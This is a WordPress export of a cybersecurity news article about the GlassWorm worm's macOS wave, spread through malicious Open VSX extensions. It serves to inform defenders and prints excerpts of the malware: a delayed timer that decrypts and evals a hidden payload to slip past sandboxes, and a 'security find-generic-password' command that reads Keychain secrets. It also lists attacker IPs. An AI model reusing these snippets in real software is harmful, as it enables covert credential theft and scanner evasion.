{"id":9597,"date":"2026-01-01T10:05:20","date_gmt":"2026-01-01T10:05:20","guid":{"rendered":"https:\/\/serisec.com\/index.php\/2026\/01\/01\/self-propagating-glassworm-weaponizing-vs-code-extensions-to-attack-macos-users\/"},"modified":"2026-01-01T10:05:20","modified_gmt":"2026-01-01T10:05:20","slug":"self-propagating-glassworm-weaponizing-vs-code-extensions-to-attack-macos-users","status":"publish","type":"post","link":"https:\/\/serisec.com\/index.php\/2026\/01\/01\/self-propagating-glassworm-weaponizing-vs-code-extensions-to-attack-macos-users\/","title":{"rendered":"Self-Propagating GlassWorm Weaponizing VS Code Extensions to Attack macOS Users"},"content":{"rendered":"<p>    Self-Propagating GlassWorm Weaponizing VS Code Extensions to Attack macOS Users<br \/>\n \t<BR><br \/>\n<BR><\/BR><br \/>\n    <!-- no image --><br \/>\n \t<BR><br \/>\n<BR><\/BR><\/p>\n<div>\n<p>A new wave of GlassWorm malware has emerged, marking a significant shift in targeting strategy from Windows to macOS systems. This self-propagating worm, distributed through malicious VS Code extensions on the Open VSX marketplace, has already accumulated over 50,000 downloads. <\/p>\n<p>The fourth wave introduces several concerning changes including encrypted payloads, hardware wallet trojanization capabilities, and sophisticated sandbox evasion techniques that allow it to bypass traditional security scanning tools.<\/p>\n<p>The threat actor behind GlassWorm has proven remarkably adaptive, evolving through four distinct waves since October. Previous campaigns relied on invisible Unicode characters and compiled Rust binaries to conceal <a href=\"https:\/\/cybersecuritynews.com\/asus-embedded-malicious-code-vulnerability\/\" target=\"_blank\" rel=\"noreferrer noopener\">malicious code<\/a>. <\/p>\n<p>The latest iteration abandons these approaches in favor of AES-256-CBC encrypted JavaScript payloads specifically engineered for macOS environments. <\/p>\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEid6xAnCFnNSVOZKH8liKm3mSyfYe_vvugKQSDwJMKDo7eCP-FDh7UECAO9Z6iyfgt8ZiEQyV57zNFOkFsQITnAIHWNbIY_Cnf1sN9Gabt8xZYA_-cWWNtcMhTMN3oS8Emx-ElVTNxrbNeKaQL9hvKmbTQkMoRojN98HQrV1GYqvitOS9EvqhCEay44fTs\/s16000\/Prettier%2520Pro%2520on%2520open-vsx%2520%28Source%2520-%2520Koi%29.webp?ssl=1\" alt=\"Prettier Pro on open-vsx (Source - Koi)\"><figcaption class=\"wp-element-caption\">Prettier Pro on open-vsx (Source \u2013 Koi)<\/figcaption><\/figure>\n<\/div>\n<p>Three suspicious extensions were flagged on the <a href=\"https:\/\/cybersecuritynews.com\/open-vsx-registry-addresses-leaked\/\" target=\"_blank\" rel=\"noreferrer noopener\">Open VSX<\/a> marketplace: pro-svelte-extension, vsce-prettier-pro, and full-access-catppuccin-pro-extension, all connected through shared infrastructure and encryption keys.<\/p>\n<p>The malware employs a Solana blockchain-based command and control infrastructure that makes takedown efforts nearly impossible. <\/p>\n<p>By posting transaction memos containing base64-encoded URLs to the blockchain, the attacker maintains decentralized control that cannot be disrupted through traditional <a href=\"https:\/\/cybersecuritynews.com\/x-to-phase-out-twitter-domain\/\" target=\"_blank\" rel=\"noreferrer noopener\">domain<\/a> blocking. <\/p>\n<p>Researchers traced the infrastructure to IP address 45.32.151.157, which was also used in the third wave, confirming continuity of the threat actor. <\/p>\n<p>Koi analysts <a href=\"https:\/\/www.koi.ai\/blog\/glassworm-goes-mac-fresh-infrastructure-new-tricks\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">identified<\/a> the malware through behavioral analysis after their risk engine detected unusual patterns in extension behavior and network communications.<\/p>\n<h2 class=\"wp-block-heading\" id=\"h-encrypted-payload-and-sandbox-evasion-tactics\"><strong>Encrypted Payload and Sandbox Evasion Tactics<\/strong><\/h2>\n<p>The fourth wave introduces a clever timing mechanism designed to evade automated security analysis. Once installed, the malicious extension waits exactly 15 minutes before executing its payload. <\/p>\n<p>This delay is critical because most sandbox environments timeout after 5 minutes, meaning the malware appears completely benign during automated scanning. <\/p>\n<p>The code contains a hardcoded value of 9e5 milliseconds (900,000 milliseconds equals 15 minutes), which triggers the decryption and execution of the AES-256-CBC encrypted payload.<\/p>\n<pre class=\"wp-block-code\"><code>setTimeout(() =&gt; {\n  const decrypted = crypto.createDecipheriv('aes-256-cbc', key, iv);\n  let payload = decrypted.update(encryptedData, 'base64', 'utf8');\n  payload += decrypted.final('utf8');\n  eval(payload);\n}, 9e5);<\/code><\/pre>\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEjnjlUlVIlXNUw2CetIeBlqUCLXVeSxIaVDuBTWyZ4Ug4VHk8k40zo9w0s83KgA5Di3g5p6n58nOru_MOMqr5vuomm_Oipn-zNQfipGg5D0K0z0p5hT-zAWYE_PmBTV8L36mfXl4W7dzlRrpMy593NDXMqcrIJzKWI_uMu794yermA1eT_NYi_JrWJ4T3Q\/s16000\/Encrypted%2520payload%2520execution%2520%28Source%2520-%2520Koi%29.webp?ssl=1\" alt=\"Encrypted payload execution (Source - Koi)\"><figcaption class=\"wp-element-caption\">Encrypted payload execution (Source \u2013 Koi)<\/figcaption><\/figure>\n<\/div>\n<p>The payload itself is embedded at line 64 of the main extension file, encrypted with a hardcoded key and initialization vector that remains consistent across all three malicious extensions. <\/p>\n<p>This shared cryptographic infrastructure confirms a single threat actor is responsible for the campaign. <\/p>\n<p>After the delay period expires, the malware retrieves the current command-and-control endpoint from the Solana blockchain and executes any instructions it receives. <\/p>\n<p>The macOS-specific payload includes AppleScript for stealth execution, LaunchAgents for persistence rather than Windows Registry keys, and direct access to the macOS Keychain database to retrieve stored passwords and credentials.<\/p>\n<pre class=\"wp-block-code\"><code>set keychainPassword to do shell script \"security find-generic-password -s 'password_service' -w\"<\/code><\/pre>\n<p>The malware also includes the capability to replace hardware wallet applications with trojanized versions, targeting both Ledger Live and Trezor Suite. <\/p>\n<p>While the wallet replacement functionality was not fully active during testing on December 29, 2025, the code infrastructure is complete and awaiting payload uploads. <\/p>\n<p>The <a href=\"https:\/\/cybersecuritynews.com\/chatgpt-powered-malware-analysis\/\" target=\"_blank\" rel=\"noreferrer noopener\">malware<\/a> validates that downloaded files exceed 1000 bytes before installation, preventing broken installations that might alert victims. <\/p>\n<p>All stolen data gets staged in the temporary directory \/tmp\/ijewf\/, compressed, and sent to the exfiltration server at 45.32.150.251\/p2p for attacker retrieval.<\/p>\n<p class=\"has-text-align-center has-background\" style=\"background:linear-gradient(180deg,rgb(238,238,238) 91%,rgb(169,184,195) 100%)\"><strong>Follow us on\u00a0<a href=\"https:\/\/news.google.com\/publications\/CAAqMggKIixDQklTR3dnTWFoY0tGV041WW1WeWMyVmpkWEpwZEhsdVpYZHpMbU52YlNnQVAB?hl=en-IN&amp;gl=IN&amp;ceid=IN:en\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Google News<\/a>,\u00a0<a href=\"https:\/\/www.linkedin.com\/company\/cybersecurity-news\/\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">LinkedIn<\/a>,\u00a0and\u00a0<a href=\"https:\/\/x.com\/cyber_press_org\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">X<\/a>\u00a0to Get More Instant Updates<\/strong>,\u00a0<strong>Set CSN as a Preferred Source in\u00a0<a href=\"https:\/\/www.google.com\/preferences\/source?q=cybersecuritynews.com\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Google<\/a>.<\/strong><\/p>\n<p>The post <a href=\"https:\/\/cybersecuritynews.com\/self-propagating-glassworm-weaponizing-vs-code\/\">Self-Propagating GlassWorm Weaponizing VS Code Extensions to Attack macOS Users<\/a> appeared first on <a href=\"https:\/\/cybersecuritynews.com\/\">Cyber Security News<\/a>.<\/p>\n<\/div>\n<p> \t<BR><br \/>\n <BR><\/BR><br \/>\n    Tushar Subhra Dutta<br \/>\n \t<BR><br \/>\n<BR><\/BR><br \/>\n<a href=\"https:\/\/cybersecuritynews.com\/self-propagating-glassworm-weaponizing-vs-code\/\">Go to cyber-security-news<\/a><br \/>\n \t<BR><br \/>\n <BR><\/BR><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Self-Propagating GlassWorm Weaponizing VS Code Extensions to Attack macOS Users A new wave of GlassWorm malware has emerged, marking a significant shift in targeting strategy from Windows to macOS systems. This self-propagating worm, distributed through malicious VS Code extensions on the Open VSX marketplace, has already accumulated over 50,000 downloads. The fourth wave introduces several [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[129,63,649],"tags":[130],"class_list":["post-9597","post","type-post","status-publish","format-standard","hentry","category-cyber-security","category-cyber-security-news","category-threats","tag-cyber-security-news"],"_links":{"self":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/9597"}],"collection":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/comments?post=9597"}],"version-history":[{"count":0,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/9597\/revisions"}],"wp:attachment":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/media?parent=9597"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/categories?post=9597"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/tags?post=9597"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}